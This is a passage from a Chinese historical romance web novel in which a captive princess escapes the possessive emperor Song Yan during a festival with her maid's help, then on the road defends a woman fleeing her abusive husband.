锦书很明白,沈遥没有胃口的原因,大部分或许是来源于心病。 她咬唇,留下一排深深的齿印,数次想要说什么,却又开不了口。最后,她收回为她按摩的手,攥紧成拳,颤抖着,深呼吸一口气后道:“那就跑吧。” 沈遥身子一僵,扭头看向她,没有说话。 锦书看进沈遥的眼眸之中,用尽了全力来说这话,“那就跑吧,奴婢会帮殿下。” “你不是很怕他吗?” 锦书笑着摇摇头,“殿下对奴婢的大恩大德,奴婢没齿难忘,只怕寻不到报答之处,让奴婢帮殿下吧。” 沈遥眼睛一直没眨,最后轻轻点了点头。 她心头对逃跑有了雏形,只是此事需从长计议,锦书只是一个奴婢,她还需要另一个人的帮助。 “沈芯?”宋衍放下手中白玉毛笔,“你要见她?” 沈遥躲开他视线,一脚轻轻踢在椅子上,轻哼:“怎的?我是犯人?竟连自己妹妹都见不得?” 宋衍沉默地看着她,说实话,他并不觉得沈遥有见沈芯的必要,也不想她见任何人。 可是今日凶巴巴的沈遥总算在他面前恢复了些气色,他心底也舒坦不少。 每一次看着她的冷淡,都好像一把利刃往他心口上戳,这种感觉,真的很难受。 “好,朕会让她来。” 这般说着,他鬼鬼祟祟伸出手,一把搂住她的腰,将人按到自己腿上,静静盯着她淡漠眸子。 沈遥被他突如其来的举动吓了一跳。 他的手在腰上轻轻摩挲着,弄得她很痒。 她知道这种时候应该由着他,可还是不受控制地“啪——”一巴掌扇在他左脸上,没等人反应过来便立刻起身退开。 她看着他许久没有反应,心悬空了起来。 他会因此恼羞成怒,不让她见沈芯了吗? 若是如此,她是否要想办法哄哄他?反正哄他其实并不难。 正在沈遥胡思乱想之际,宋衍终于转过头看向她,扯嘴笑了一下,连黑眸都亮了,“阿姐还是一如既往,如此,朕就放心了。” 沈遥明白过来,对,这个人是个受虐狂。 若是她不揍他一顿,他或许还猜疑着她要见沈芯的目的。 可揍了他,他反倒身心畅快。 “有病!” 沈遥啐了一口,直接迈步离了书房,留下一脸笑意,还在盯着她背影的宋衍。 …… 在宋衍应下后,沈遥翌日便见到亲临葫芦镇的沈芯。自上次姐妹相见,也过去了些时日。 上一次谈话,虽面上不显,两人之间的不欢而散却是心知肚明。沈芯不知沈遥为何要见她,却也装扮好一会儿,又特意准备几个柿子饼,送来时府。 沈芯本以为在中堂见客,没想到一入府便被锦书直接带去了内院,美名其曰闺房密话。 入了屋内,沈芯便见到坐在案前的沈遥,一身绯色长裙,头发披散了大半,用一支玉簪随意挽起些许。 虽她整个人看起来又瘦了不少,下巴尖尖,却更美了,别有一番格外的气度。 即便瘦了,可至少阿姐神色还依旧水润亮堂,脸颊也是健康的红润。 而她自己,却是一辈子都这般瘦弱苍白,好叫人嫉妒。 沈芯重新勾唇带笑,提着手中食盒到沈遥对面落座,声音柔柔道:“听陛下说,阿姐是想绵绵了,特意来寻我寒暄。” 沈遥给锦书一个眼神,对方收到后立刻退出寝室,为两人关好房门。 沈遥在门紧闭后,视线四处扫过一圈,又看回沈芯脸上。 她无意寒暄,直接单刀直入道:“我要你帮我。” 沈芯正在开食盒的手一顿,看向她不解道:“帮你?” 沈遥:“帮我离开此地。” 沈芯嘴唇微张,似乎不太理解眼前现状,“离开?什么意思?” 沈遥:“我被宋衍关在这里,你不也看到了?我要离开。” 沈芯垂眸,静静凝思了好一会儿,才又反问她:“我为何帮你?若陛下知晓,定饶不过。” 毕竟宋衍对待她的态度,可和阿姐是不一样的。 她相信,就算阿姐犯下杀头大罪,宋衍也能为其将其掩了去。可她若是帮着阿姐逃跑,被宋衍发现,自己怕是连怎么死都不知道。 沈遥自然看明白她顾虑,也不多说废话,“沈芯,你不是喜欢宋衍吗?等我离开后,便只剩你一人在他身边了。” “这不是你想要的吗?” 沈芯一时半会儿不知如何回她。 是她想要的,但又似乎不是。 她所看上的,都是阿姐所在乎的。若阿姐不在乎了,她打心底深处,也便不在乎了。 可……即便如此,这或许还是她最好的选择。 宋衍是天子,是天下之主,年轻俊美,没有比他更 好的人。 若是成为皇后,从身份上,就能压一头阿姐。 沈遥以为她是在害怕,便道:“你放心,我只需要你在两日后的中元节宴会上,拖住宋衍,就够了。我相信这对你来说,很简单。” 如今宋衍看她看得很紧,除非必要,否则都不会离开时府。就算离开,也会很快归来,而两日后的中元节是唯一的机会。 沈芯飞快地瞟她一眼,最后木然地点了点头,应下了她的请求。 …… 今夜沈遥早早便躺上床,点着灯,没等一会儿,便听到宋衍步入房中的动静。 这些时日,她不让宋衍留宿,对方也尊重着她。只是雷打不动的,在她入睡前,一定要看她,说两句话。 有时带了点儿小玩意儿,有时说是想念猫儿,过来看看。 沈遥听到动静后立刻掀开被褥坐起,看着拔步床外的人影一点点挪近,直到那只熟悉的手伸来,将帏帐撩起。 宋衍见她醒着,在意料之中。 她是否真的睡着,他远远从呼吸声中便能听出。 “今日晚膳吃了什么?” 他因着不去上朝,平日政事反倒更是忙碌,昨日都没能抽出时间用晚膳,只叫了锦书盯着人好好吃东西。 “烤鸡,还不错。” 宋衍眼睛在烛光下倏然一亮,他没想到沈遥竟会回答他的话,毕竟她每日面对他时都没有好脸色,也不愿与他过多交谈。 他坐在床沿,定定看着她脸上晃动的黄光,原本冰冷刺骨的心脏在某个瞬间温热起来。 沈遥看着他眼皮的青黑,“很累?” 宋衍垂眸笑笑,“嗯,政事太忙,若朕不是皇帝就好了,就能时刻陪在阿姐身边。” 沈遥冷淡道:“你不去上朝,这不是自找的么?” 宋衍:“阿姐教训的是,好在目前的事儿都忙完了。” 他伸手将她被褥外的手抓到手中,轻轻揉捏着,“今日见了沈芯,心情可好些了?” “还行。”沈遥说不上来这究竟是多久了,终于有这一刻与他如此平静交谈。 后日便要离开,如今月事还未来。 若她真怀了孩儿,无论成败如何,面前的人都是孩子的父亲。她不想在见不到前,不给腹中孩儿丝毫与他相处的机会。 虽然她已经对孩儿和他够不公平了,可至少在走前,稍微温柔一些。 想到此处,沈遥朝着床里多坐了一些,又拍拍床,“上来。” 宋衍心猛得跳了一下,不敢置信。 自所有谎言被戳穿后,这是沈遥第一次允他上床,原本他以为今夜又要睡床底的。 他将绣着金线的黑靴脱去,与沈遥的鞋整齐放在一起,又理了理,让其紧紧贴在一条直线上,这才躺上了床。 他视线一直盯着她,盯到她头皮发麻,最后一手伸出捂住他的眼。 “你干嘛老看我?” 宋衍笑笑,沉默,感受着她落在自己脸颊上那只手。 他真的很努力控制着。 如果可以,他很想现在就压着身旁的人狠狠亲一顿,亲到嘴唇分不开。最好能黏在一起,或是用绣花针缝住。 沈遥手举着有些酸,还是放了下来,又对着他警告道:“今夜允你留宿,若得寸进尺,就给我滚出去。” 宋衍乖巧地点点头。 可片刻后,他便蚕蛹般挪上前,一手揽住她的腰,将头埋在她颈部,整个人如猫儿般蜷缩起来,又挂在他身上。 他一向如此。 沈遥痒得一颤,用力拍了一他一下,怒道:“刚说的,不许得寸进尺。” 宋衍哼唧着“嗯”了一声,低沉道:“只抱一抱,不做别的。” 沈遥用力朝他屁股拍了一掌,埋在她颈间的人不说话,低哼一声,浑身滚烫起来,“阿姐,别这样,会控制不住的。” 沈遥:“……” 她最后放弃了,就如咸鱼一般躺着,任由他挂在自己身上,口中喷薄的呼吸将她锁骨处弄得又热又痒。 这人平日真是太会装了! 在她面前的模样,哪里像个皇帝! 没想到,宋衍今夜入睡得比她快,呼吸沉沉。猫儿睡在两人头顶,发出淡淡的咕噜声响。 沈遥闭了下眼,忽然想起,其实很久以前,宋衍也这样挂在她身上睡过觉。 那时两人从长安出来,一路往甘州而逃,相依为命。 彻夜点灯这样的事儿,都是只有有钱人家才消耗得起的。而那时流浪的他们哪儿有这样的条件。 在没有篝火的月色下,破庙中,他整个人冒冷汗,缩在角落浑身发抖。 沈遥观察了好半晌,才终于知道这个臭弟弟原来是怕黑,竟能怕到如此地步。 她终究心软,将草席放到角落铺开,自认为凶神恶煞地朝他喊了一嘴:“臭弟弟,睡觉了!” 可那人许久没有动静,一小只将头埋在膝盖中,弓腰蜷缩着发抖。 天色太暗,如今出去找柴火不现实,她也忍不了臭弟弟矫情,直接上前拎小鸡一般,将人一把提到草席上。 “行了,还不睡觉!” 臭弟弟倒在草席上,终于抬眸。 沈遥借着暗淡的月色,看到他黑瞳中的恐惧。他伸手拉住她的袖摆,固执地抓紧不放,却又不说一句话,只是抬头定定看着他。 算了。 沈遥忍了。 她顺着他的手躺下在一旁,将那时个头矮小的臭弟弟一把拉过,抱在怀中,手放到他背上轻轻拍着。 臭弟弟将头埋在她颈间,虽然许久没沐浴,浑身脏的不行,可沈遥到底没推开他。 月光下,他们谁也不说话,就这样安静地躺在草席上睡去,互为依赖。 后来的日子里,每当他们没有条件点火时,臭弟弟就会主动过来黏着她,虽不说话,却强烈表达出要她哄着的意图。 不达目的不罢休。 只是那时的臭弟弟还很小,是个瘦弱的小男孩儿。 而如今十八岁的宋衍已经是个男人,个头高出她一个头,宽肩窄腰,浑身散发着雄性的气息。 他还是一样的习惯,一样的不安与固执,从没变过。 即便现在的他睡姿依旧如此,可沈遥也能感受到,臭弟弟果然已经不是小孩,不是少年,而是个男人。 第48章 第48章长公主不见了!…… 中元节,宫中会有极为繁杂的祭祀流程,沈遥对此还算熟悉。 连着两天夜里,沈遥都留下宋衍,哄着人睡了两个好觉。终于到这日,他红光满面地早早去了宫中。 待人离去后,沈遥又多睡了几个时辰,养精蓄锐。 醒来已是晌午,锦书为其洗漱穿衣,又伺候着用完午膳,交换了个眼神,便刻意大声道:“殿下,今儿中元节,镇子上可甚是热闹,不如出街走走。” 沈遥往屋外看了一眼,自西北风被调走后,如今换了另外两个武功高强的侍卫跟着她,那两人也是听到锦书的话,微微偏头往寝室看了一眼,又转回头没有任何表示。 沈遥望着在窗台睡觉,仍是一无所知的猫儿,心底弥漫着浓浓不舍。她走上前,直接将小橘薅过,抱在怀中,重重朝它肚子亲上几口。 小橘蒙圈地睁眼,碧绿的眼睛盯着沈遥,又“喵”了两声,往她身上蹭,似乎看出了她的意图。 说实话,她是考虑过将猫儿带走的。 可想到这一路都将是躲躲藏藏的逃亡,不如将它留在此地由宋衍照看,会是更好。 毕竟他很喜欢猫,她能看出来。 锦书静静在一旁等着她动静,眼看时辰差不多,又喊了她一声:“殿下?走吗?” 沈遥抿唇将猫儿放回窗边,让它舒服地晒着太阳,又最后看了它一眼,利落地转身同锦书一起离开时府。 那两个侍卫也很快跟了上来,在她们不远不近的位置,不出声阻止,也不打扰她们兴致,宛若两个提线木偶。 街上出行之人果然很多,之所以选在中元节,除了宫中举办宴会,宋衍必须出席外,还是因为许多人都会在这日往来葫芦镇与长安城之间。 虽葫芦镇是个戏园子,可锦书曾经说的也没错。 住在这里的人家也是奔着好好过日子来的,平日开医馆的照样开,教书的照样教,卖商品的也照样卖。 同样,中元节该怎么过,便怎么过。 沈遥如往日出街那般,吃过小食,也跟着玩儿了些花活,到了临近夜晚,来到河边同锦书一起放荷花灯。 至于许愿,说实在的,她心里乱麻一团,无任何心愿可许。 若非要有……沈遥垂眸,右手抚上了自己小腹。 她看着那盏荷花灯混入大流之中,顺着小河一路往下飘去,心底还是生出了些空洞之感。 她不知自己所做是否正确,可她向来如此,想这样做,便直接做了。 “殿下。”锦书拉拉她袖子,提醒她,“还有半个时辰,祭祀便要开始了。” 届时整个镇子上的人流,将达到顶峰,也是躲过镇子上众多暗卫的唯一机会。 …… 宫中,太极殿歌舞升平,宋衍心不在焉地看着。今忙碌一整日,从早上起便是法会,诵经,祭祀。 而此刻终于到了最后的晚宴,宴席多以素食为主,他没吃几口便下箸,思索着家中阿姐今日可会斋戒。 她太瘦了,他早晨忘了,应该在离开前嘱咐厨娘,继续给她做荤食才对。 也不知是否是因这原因,他今日总是心头不安,痒得厉害,想快些回去看她。 朝臣们逐一上前的敬酒,在作诗吟诵后,接受御赐酒食。 沈芯也在宴席间,坐在不远处定定看着,心思却同样飞到了沈遥那边。 她实在不理解,阿姐为何要逃离宋衍,明明阿姐从小都把宋衍当成宝一般护着。当初为了找走散的宋衍,连她这个亲妹妹丢了都没发现,而如今,怎么说不要,就不要了。 如此一来,她心底更是万分不爽。 阿姐把不要的东西给她,凭什么? 若非宋衍如今坐上了那个位子,她根本瞧不起这个从小便有些诡异的怪二哥。 别人面前乖得很,却更是孤僻,整日蹲在树下玩儿石子,沉默寡言,在沈家没听他说过一句话。 他人不知晓,可她却见过,他那双眼睛好似会杀人,当初她才四岁,却感觉到,他想杀了她,毫无缘由。 只是后来随着时间推移,多年不见,再见时他已长得俊美,说话温和,身份高高在上,没有曾经的模样,以至于很长时间,她都忘记了儿时他眼神中的那股杀意。 直到这两日,知道沈遥要逃跑时,不再要他时,她才骤然回想起这些龃龉。 可是早已承诺过帮忙,如今也想通了要留在宫中,此次让沈遥离开,确实是个千载难逢的好机会。 沈芯不知自己还在犹豫什么。 排队准备吟诗朗诵的大臣很多,可主坐龙椅上却已传来动静,沈芯扭头看去,心里一咯噔。 宋衍不等剩下的人走完流程,便待不住想提前离席了。 她看了一眼殿外的霞光,时间还有些早。 这可如何是好? 沈芯也不敢多想了,在众人下跪恭送皇帝时,迅速抬手“啪”地打翻了面前的酒盏。鎏金酒杯掉落在地上,声音清脆,所有人视线都挪了过来。 沈芯垂下眸,娴熟地捂起前胸,开始剧烈咳嗽起来。她身体本就不好,这一番用力撕扯,面色更是苍白,怎么看都是个病发的瘦弱少女。 宋衍如沈芯所愿停下离去的脚步,朝她看来。 沈芯咳得更用力了,整个人倒在地上,浑身抖成了筛子。 宋衍面无表情地扫过一眼后,朝着胡生示意。对方收到命令,叫了几个宫女上前将沈芯扶起,又叫人去喊太医。 沈芯咳得双眼发红,开始流出泪水,柔柔弱弱地朝着宋衍喊了一声,“陛下恕罪。” 宋衍沉默地抬手,让她无需说话。 而后双手背在后面,没有任何停留,直接走了。 走了…… 走了? 沈芯不可思议地瞪大眼睛,心里嘀咕又替沈遥慌张起来。 她没能拖住宋衍,她以为这样可以拖住宋衍的。那他此时回葫芦镇,沈遥还跑得掉吗? 在宫女将她送回寝殿的途中,她冒着冷汗想了很多,最后呼出一口气。 反正该做的她都做了,阿姐怪不到她身上。 顺其自然,自求多福。 …… 葫芦镇中,沈遥与锦书去了一家成衣铺子。 铺面不大,人多,男男女女皆有。 跟在远处的两个侍卫见状,想要立刻进入跟上监视,却见锦书将他们拦住,道:“殿下在看衣裳,要试衣,难不成你们要看?” 两侍卫一怔,面面相觑。 看长公主殿下试衣?若叫皇帝知道了,脑袋不得立刻飞了。 他们沉默下来,如两尊大佛一般站在门口等待,没再想着进去。 锦书进来后,铺子老板娘还在与沈遥介绍着新上的衣料,“夫人,这云锦和这套罗裙的剪裁,可都是最近长安城中最为时兴的,可要考虑下?” 沈遥没仔细听老板娘说什么,只是点了点头应下,“我要先试衣,你把隔间准备出来。” 老板娘一喜,立刻拿了衣裳,锦书也恰好进来,老板娘笑着将她们主仆两人迎到隔间。 在确认门关好后,锦书才将一直藏在包裹里一套男装拿出,开始给沈遥换衣。 这套男装没有熏过沉酥,出门前沈遥也服用过锦书偷藏的沉酥解药。 沈遥很快换了装扮,钱袋系至腰间。又将脸稍微涂黄,点了几颗痣,粘了假胡子。 转眼间,便从仪态万方的美人转变成一年轻伙计。 沈遥确认那侍卫应该认不出后,拉着锦书便往外走。 锦书却顿住脚步道:“殿下,奴婢得留下牵制住那两个侍卫。殿下不用管奴婢,待离开葫芦镇后,殿下定要保重安危。” “锦书?”沈遥蹙眉,“可你若留下……” 锦书道:“奴婢身契还在陛下手中,就算要走,也是走不远的。” 沈遥颔首,理解锦书的意思。若是这小丫鬟跟着她跑了,反倒是危险。一来没有身契,二来,宋衍很容易怪罪到丫鬟身上。 她想了想,提出主意:“那我将你敲晕,这样东窗事发后,宋衍便也不会真的降罪于你。” 锦书:“……好。” 待沈遥低着头,趁老板娘和侍卫不注意,混在客流中离开成衣店时,镇子上的祭典已进行一办,正是人最多的时候。 她混在其中往葫芦镇门口走,出口只此一条路,并不宽敞。 正路过炊饼铺子时,她身子一震,立刻低着头躲到一旁,装模作样地在看人下棋。 宋衍怎么回来了? 按原本时辰算,就算沈芯拖不住他,宫宴也不会这么早结束。 此时的宋衍正从那辆青顶小马车上下来,身着便衣,停到街边的糖铺子买糖人。 沈遥站在不远处悄悄看着,也不敢真的去直视他,怕被发现了踪迹。 宋衍选了两个糖人拿在手中,细细观摩。 糖铺子老板笑道:“客官尽管放心,这次的糖人啊,没之前那么甜了。” 宋衍确实很满意,转了下签子点头,又往前走几步。 正在沈遥心快跳出嗓子眼时,宋衍转头又去了肉铺子,买了一些鸡肉。 沈遥侧了下身子,确定他看不到她的脸,却见他又往她所在方向而来。 难不成她这么容易便被发现了? 那也太倒霉了! 不说这么拥挤的镇子上,正好碰到,她这才刚换了装扮准备溜走的。 好在宋衍并未看她,而是往一人少的墙角去。 当他站到那处,四周忽然冒出了一只只小猫,仔细一数,竟有六、七只之多,其中便有那只头顶白毛的大胖橘。 此时的他虽面无表情,身上的气息却是柔和。他蹲下身子,那些猫儿蹭了过来,朝他撒娇着索要吃食。 他随意揉了揉它们的脑袋,便将刚买好的鸡肉块扔过去。 沈遥一时有些愣怔。 之前以为镇子上的那只猫是炊饼铺子老板在养着,没想到是宋衍在喂养。他定然每次经过时都来喂猫,否则这群猫儿也不会这么亲他了。 所以将小橘留给他照顾,是正确的。 正在此时,祭典已经进行到了尾声,镇子上忽然放起了中元节的烟花,同端午那日没什么太大的区别。 五颜六色的光落在他身上,将他凌厉的气质削弱得柔和不少。 正当烟 花放得最为激烈时,他抬头看向天空,沈遥也趁机悄悄混迹人群,往葫芦镇口挪去。 宋衍蹲在原地,看着烟花便想到了沈遥。 他应该回来更早些的,这样还能陪她一同看这场烟花。 忽然,心头掠过一丝怪异,心脏跳得极为猛烈,好似某个瞬间,有什么东西流失了一般。 他转头往人群看去,却只见陌生的人流,没什么其他特别的。 因着宋衍已经回了葫芦镇,镇口的守卫查得更严了。 沈遥跟在一家五口后面,低着头也不说话,到了门口,那家人递出过所给守卫一一查验。 守卫顺着检查到沈遥时,问前面那家人,“这是你家的人?” 那家人转过头来一瞥低着头的沈遥,不明所以地摇摇头。 守卫将那五人放出了镇子,又朝沈遥走来,“过所拿出来。” 沈遥脑中绷紧了一根弦,险些断裂。她刻意压低嗓子问:“往日出入葫芦镇,可不需要过所,怎的今日?” 守卫面无表情解释:“今儿人多,贵人又回了镇子,自然得查得严。” 沈遥蹙眉,正在纠结如何才能蒙混过去时,身后忽然走来令一守卫,声音有些着急,“你怎还在这儿查!西边的茅草屋被烟花火星子点了都不知道。” “啊!”正想查凭证的守卫一惊,往远处西边儿一看,果然能见了些许火光。 喊他的守卫被他的蠢笨惹得不耐烦,推搡了他一把,“还不快去!严查都是入镇的,出镇子的人出去就出去了,能不能动点儿脑子!” 那人朝着沈遥一扫过来,厉声道:“还不快走!快走!这队伍都被堵住了!” 沈遥瞬间又松了那根紧绷的弦,低着头往镇外而去,那两守卫同时也叫上了人,往走了水的茅草屋奔去,好不着急。 看来今日运气算好的。 …… 宋衍回到府邸中便往内院去,却没能见到沈遥。 不知为何,他忽然想到刚才烟花下那一瞬间的空洞,似乎是某种不可言说的直觉。在整个寝室绕了一圈,他走回宽大的拔步床前,静静低头看着。 床单是还是昨日的,被褥被叠得极为整齐,床头的点燃的蜡烛只剩下一寸,一旁还放着沈遥平日看的《千金要方》。 一切都和昨天一样。 可冥冥之中,他知道,一切都不一样了。 平时的她,早晨会叫人将床单换新,即便本就干净。她叠的被褥通常会往床里侧放,今日却是在床尾。她知晓他怕黑,每日起来就叫人提前将新的蜡烛换上,现下虽是夜晚,蜡烛却不会燃烧得这么快。还有那本《千金要方》她早已看完,如今却又拿出来翻阅。 所有的一切都说明,今日的她,在紧张。 果不其然,才没多久,那两名跟随沈遥的侍卫颤颤巍巍跑进来,跪在地上浑身发抖,道:“陛下!长公主、长公主不见了!” 宋衍背对着没有转身,只轻轻“嗯”了一声,又问:“锦书何在?” 其中一位侍卫抬头回禀:“当时长公主与锦书姑娘入了成衣铺子试衣,许久没动静,待我们进去查探时,才发现锦书被击昏在地上,而长公主……不知所踪。” 另一名侍卫补充了一句,“陛下,我们将锦书带回来后,人就已经醒了。” 宋衍没什么情绪地转身,随意扫过两人,而后落座床沿,让他们将锦书带来。 锦书被拖到寝室,见到宋衍时,整个人匍匐在地上,连头都不敢抬。 许久听不到面前人的动静,她终于犹豫着抬眼看了一下,见宋衍手中把玩着一把开刃切锋利的匕首,黑夜的烛光下,匕首反了下黄光,短暂的刺眼。 锦书见状后更是浑身发冷,细若蚊音求饶:“陛下恕罪,都是奴婢的错!是奴婢没有看好殿下!” 宋衍终于抬眸将视线落到她身上,“怎么?你要替她受罚?” “受、受罚……” 在那双黑瞳盯过来时,锦书整个人似乎陷入到一间无尽的黑屋之中,没有丝毫光线,却隐隐能听到鬼魅的尖叫,闻到粘腻在空气中的腥臭,沾满鲜血的手,或枯骨,或腐烂,从地底钻出,死死抓住她的腿往下拖。 而他的那双眼睛,能杀人! 心脏“噗通噗通”跳得极为混乱,在她眨眼间,又回到了这间点着灯火的寝室。明明她很熟悉,此刻在那黑眸下却又变得陌生。 是杀意。 受罚? 锦书隐隐产生了沈遥逃不掉的直觉,她也逃不掉。所有她们私下做的事儿,他顷刻间便看了出来,谎言在他那里没有丝毫躲藏的余地。 在那双瞳的注视下,锦书心底愈发恐惧与寒冷,若沈遥被抓回来……会死! 锦书舌头打结,一时脑热恐惧,脱口而出:“陛下恕罪,莫要罚殿下,殿下应有身孕了!” 空气陡然间凝滞。 整个房间安静得能听到呼吸和心跳。 空气中倏然弥漫出一股血腥,是宋衍划破了自己的掌心。 第49章 第49章小畜生终究还是找到了她…… 沈遥离开葫芦镇后,绕过长安,按照之前的计划,往西北方向走陆路前往陇右道甘州。 只是未避免被宋衍轻易找到,她特意走了小路,穿过小镇,而避开所有的大城。一直走了二十多天,风餐露宿,她才终于在宿阳小镇买下一匹马,入住客栈中休整。 买过几套干净的成衣与幂笠后,用了热水沐浴。休息到翌日,便迫不及待去了镇中医馆,寻一郎中看诊。 郎中看着沈遥一人前来,生得漂亮,却没带任何丫鬟或是家中男人,看她的眼神自然多了些不同寻常。 沈遥对此并不在意,只想着急知晓诊断结果,结果郎中摸着胡子切了半宿脉,最后说了一句:“这听姑娘所言,月份尚不足一月,如今也诊不出,不如姑娘再多等一周,才能看得出这脉象。” 自己月事一直没来,还晚了时日。比起早些知晓噩耗,等待未知与不确定明显更加叫人痛苦。 可现下再无奈,时间确实尚短,诊断不出也不能怪郎中。 沈遥付了钱,便戴上幂笠离开了医馆,正往路上走时,后面突然冲来一人,将她撞得踉跄了几步才稳住身体。 她迅速抬手抚着小腹,心猛地跳了几下,待确认一切安稳后,向身侧看去。 是一个女人,在撞到她后便摔在了地上,身上的衣裳材料看起来华贵,却破烂不堪,再加之鼻青脸肿,嘴角流血,门牙都掉了一颗。 她浑身发抖,来不及看沈遥,身后便追来一队看似小厮的人,有四个。 女人“啊——”地尖叫一声,从地上艰难爬起想要逃跑。 沈遥注意到,她手指发紫,甚至折了一根食指,双眼充满恐惧地盯着那四人摇头,哭泣大喊:“不要!我不要回去!回去会死的!” 那四个小厮显然没耐心,其中一人道:“夫人此刻乱跑,届时老爷怪罪下来,可就不好。” “不要——” 沈遥蹙眉,看着那几人走上前想将女人带走。 她还是无法冷眼旁观,直接上前挡在女人面前,淡淡道:“她说了不想跟你们走。” 那几人一怔,这才将目光落在沈遥身上,见她戴着幂笠看不清面貌,心下也是看不起。 不过是个独行的女人罢了。 “滚开!不要碍了我们家务事!” 说着,便气势汹汹走上前来。 沈遥岂是好惹的? 她二话不说,直接手持木剑,上前左右轻易两下,那四个人便被她打趴在地,翻滚着捂着手臂小腿哀嚎。 “还想挨打?给我滚!” 那四人互相搀扶着站起,这时才不敢小看了她,面面相觑后一瘸一拐地离了此地。 沈遥这才转身朝着受了伤的女人走来,递去一只手,“他们走了,别怕。” 女人呆呆地看了沈遥许久,用袖子将手上泥土擦净,握住她的手,被一把拉起。 “谢谢!谢谢!若不是你,我今儿怕真是要死了!” 女人更是哭起来,口中还含着鲜血 。 沈遥抿唇,想了想,主动问她:“饿吗?” 此时正过晌午,沈遥没去酒楼,而是找了一处街边卖馄饨的小摊,买了两碗鲜肉馄饨,又叫老板上了一壶白水给女人漱口。 在简单的寒暄过后,沈遥这得知,女人名叫牛娟,是镇上最大瓷器商万老爷的第二任夫人。 家中生意做得好,也算殷实,她膝下育有一儿一女,如今儿子考上了秀才,女儿还在闺中待嫁。可无奈万老爷平日脾气不好,只要有不顺便打骂婢女,婢女打得不够爽快,又对牛娟拳脚交加。 她今日实在无法忍受,觉得自己快被打死了,这才从家中跑出。 沈遥听后直皱眉头,问:“你不报官吗?” 牛娟没想到她会这样说,只是一怔,“说实话,我娘家母亲也常年受父亲殴打,这都是习惯了。我们做女人的,哪儿能说不呢?若离了夫家,在这世道还有脸活得下去吗?” 沈遥一顿,听着她的话,忽然想到了曾经在葫芦镇时。 在失忆后很长一段时间里,她也有着同样的想法,离开了夫君,要如何才活得下去。 可是…… “活得下去。” 牛娟被她铿锵有力的语调怔住,“你……” 沈遥调开幂笠,露出她那张虽然有些瘦,却还是明艳鲜活的脸庞,朝着牛娟笑笑,“当然活得下去,比如我。” 牛娟有些好奇,“你这是?离了夫家?” 沈遥抿唇,并不想说太多,只是想了想后,与她道:“大周律有明文规定,妻子并非附属,而是亲人。丈夫若家暴妻子,则要受四十笞刑。” “这……真的吗?”牛娟有些不可置信,“我从未听说过。” 沈遥点头,“虽说妻告夫,得徒一年。可若丈夫家暴妻子以至于其无法忍受,告官时便可免去这刑罚。” 牛娟低下头,眼睛转悠着,整个人弓腰驼背地蜷缩起来,头发乱糟糟,也不知在想什么。 “我、我不敢。” 沈遥伸手抓住她的手,想要将力量传递过去,“世人欺怂怕恶,若你不硬气起来,将来总有一日会被他打死。除非你们和离,永远离开他。” 牛娟咬唇摇摇头。 沈遥鼓励道:“这样,若你愿意去告官,明日我亲自陪你走一趟,可好?” 牛娟眼神怯生生的,从下往上瞟去,又一扫沈遥穿着,最后弱弱道:“……好。” 沈遥心底一暖,直接带着牛娟重新买了新衣,伤药,又带她回客栈洗漱一番,叫她今夜暂时与自己同住。 牛娟拧着手指头,“我睡地上吧,姑娘都为我做这么多了,我怎好又占去姑娘的床,更何况,我身子也不干净。” 沈遥看着她许久,最后点头同意下来。 夜间她点了灯,直接上床,见牛娟正要熄灯时忽然阻止了她,“别熄!” 牛娟不解地转头看向她。 沈遥手指一顿,这才意识到,她竟习惯性地为宋衍留灯,明明她已经跑出来了。 牛娟没有多问,沈遥也没有多说,由灯亮着合衣躺上床,闭眼后却满脑子都是那小畜生的面孔。 她正心烦意乱时,一阵脚步声在房门外响起,沈遥一惊,立刻起身。 只听有人重重拍响了她的房门,正待她心底有些慌张时,粗旷的男人声音响起:“开门!牛娟!你以为你躲起来,我就找不到你了?” 牛娟起身,手足无措地望向沈遥,“糟了!是万老爷亲自来抓我了!” 听此,沈遥反倒松了口气,她摸着小腹起身,面不改色拿过自己的木剑,打开门后,果然见到一肥头大耳的男人,看起来有四、五十岁,鼻子上长着一颗大黑痣,满脸凶神恶煞。 这就是牛娟的丈夫,万老爷。 万老爷在看到开门的是沈遥时,一时愣怔,眼睛直勾勾地挂在她脸上,叫她好一阵反胃作呕。 万老爷转变了脸色,笑了起来,露出几个大黄牙,一口公鸭嗓道:“小娘子,某是来寻自家夫人的,我们之间发生了些误会,可否让让,某将夫人带回后,定会好好答谢娘子。” 沈遥冷眼,直接举木剑放在他肩膀上,轻轻敲了敲,口中淡淡吐出一个字,“滚。” 万老爷瞬间红了脖子,鼻孔冒烟,怒道:“别给脸不要脸!找……” 话还没说完,沈遥一剑劈下,壮如牛的万老爷竟被打得直接跪在了地上,呲牙咧嘴。他眼尖看到躲在沈遥身后的牛娟,大声道:“臭婊子!果然在这儿!你死定了!我告诉你……” “啊——”他忽然杀猪般尖叫起来。 沈遥又用木剑打了下他胳膊,“滚!有什么话,明日公堂上说。” “你!你!你!”万老爷捂着胳膊,见沈遥收剑,这才摇摇晃晃站起来。他咬牙狠狠怒瞪了沈遥一眼,想说什么话,却一瞥她手上木剑,最终还是捂着胳膊跑了。 沈遥关好房门,这才转身看向躲在角落的牛娟,温柔安抚道:“别怕了,明日我陪你亲自去。” 牛娟僵硬地点点头,抹了一把眼角的泪,咬唇低头,眼睛转了一圈,不知在想什么,最后又感谢起她来,“姑娘……真是好人。” 沈遥笑笑,没有多说什么,直接叫她快些睡觉,这样明儿能起来的早些。 夜深人静时,沈遥明明终于在舒适的床上入睡了,却还是睡不安稳,好似缺了什么一般。 烛光晃动下,一双手从后如水蛇般缠上她的腰,又从衣摆下伸入不轻不重地揉捏着。 一股带着青草的淡淡冷香萦绕包裹,香汗淋漓。牙齿咬在她颈肩,腰窝,留下一道道湿濡的红痕。 强壮却不粗壮的手臂和肌线,精致精瘦的腰身在起伏。 这人坏得很,在她快要攀上巅峰时又刻意停下动作,笑着来到她边,非要她叫出声才继续。 她闭着眼,脚趾蜷缩,倏然一声低沉的“诺诺,乖”跃入耳窝。 沈遥猛地睁开眼睛,意识回笼,头顶是灰色的麻布帏帐,四周空无一人。 她呼出一口惊悚的气息,这才发觉自己竟做了春梦。 好羞耻! 她捂着脸,将被褥蒙到脸上,咬唇,又抹了一把额头上的冷汗。 梦中的场景还在脑海中久久挥之不去。 她深呼一口气,努力将其驱走,坐起身时,发现厢房内的牛娟已经不见了。 奇怪,人去哪儿了? 沈遥昨夜入睡并未脱衣,身上还穿着白日那身淡红圆领袍。她没来得及说话,门便被用力敲响,外面是壮汉的声音:“开门!” 她蹙眉,心底焦急着牛娟的踪影,正起身时,房门竟直接“啪”一声被撞开。 